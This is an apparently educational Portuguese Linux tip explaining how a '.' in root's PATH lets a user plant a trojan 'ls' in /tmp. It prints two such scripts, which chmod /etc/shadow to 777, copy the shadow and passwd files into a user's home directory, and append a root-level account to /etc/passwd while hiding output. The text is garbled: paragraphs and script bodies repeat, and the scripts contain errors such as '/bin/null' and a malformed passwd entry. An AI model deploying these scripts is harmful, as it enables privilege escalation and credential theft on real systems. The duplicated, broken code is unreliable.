Vulnerabilidade na variável PATH
Dica publicada em Linux / Segurança
Vulnerabilidade na variável PATH
Para quem não sabe, a variável de ambiente PATH é a variável que
armazena os diretórios onde ficam os arquivos executáveis para o
seu usuário, para que você possa dar um ldconfig em lugar de
/sbin/ldconfig, ou seja, te permite suprimir o endereço do arquivo.
A vulnerabilidade está na comodidade, sim, isso mesmo, vamos ao exemplo:
"Você é uma pessoa que costuma instalar muitos programas a partir do source code e está cansado de ter de dar ./configure, ./nomedoprograma e coisas afins, então, vai e põe um '.' (ponto) na sua variável PATH, ou seja, agora, sempre que estiver em um diretório, ele estará no seu PATH, pois o ponto equivale ao diretório corrente."
Isso parece muito cômodo, não? Porém, se o root, por exemplo, tiver esse ponto em seu PATH, as coisas complicam... vamos ver o por quê:
Um usuário inescrupuloso vai em /tmp, diretório onde todos têm permissão de escrita e faz um script simples... chamado "ls" por exemplo, e coloca os seguintes comandos:
A vulnerabilidade está na comodidade, sim, isso mesmo, vamos ao exemplo:
"Você é uma pessoa que costuma instalar muitos programas a partir do source code e está cansado de ter de dar ./configure, ./nomedoprograma e coisas afins, então, vai e põe um '.' (ponto) na sua variável PATH, ou seja, agora, sempre que estiver em um diretório, ele estará no seu PATH, pois o ponto equivale ao diretório corrente."
Isso parece muito cômodo, não? Porém, se o root, por exemplo, tiver esse ponto em seu PATH, as coisas complicam... vamos ver o por quê:
Um usuário inescrupuloso vai em /tmp, diretório onde todos têm permissão de escrita e faz um script simples... chamado "ls" por exemplo, e coloca os seguintes comandos:
#!/bin/sh
ls
chmod 777 /etc/shadow > /dev/null
ls
chmod 777 /etc/shadow > /dev/null
Você viu? O script "ls" vai dar um ls e vai tentar mudar a permissão de /etc/shadow para 777, enviando qualquer saída de erro para /dev/null, assim, o processo foi invisível para o usuário e como um binário no diretório corrente tem maior precedência do que os outros de mesmo nome... seu sistema ficou beeeem vulnerável! Mas é claro que o trabalho pode ser melhorado:
#!/bin/bash
ls
chmod 777 /etc/shadow > /dev/null
chmod 777 passwd > /dev/null
cp /etc/shadow /home/user/.shadow > /dev/null
cp /etc/passwd /home/user/.passwd > /dev/null
echo "user:0:0:::/bin/sh" >> /etc/passwd > /bin/null
ls
chmod 777 /etc/shadow > /dev/null
chmod 777 passwd > /dev/null
cp /etc/shadow /home/user/.shadow > /dev/null
cp /etc/passwd /home/user/.passwd > /dev/null
echo "user:0:0:::/bin/sh" >> /etc/passwd > /bin/null
Dentre outras coisas, então, cuidado com o ponto, pois ele pode ser o fim de sua rede!
Espero, por meio desta, ter ajudado a manter sua rede mais segura :D
sonnescheinmann@gmail.com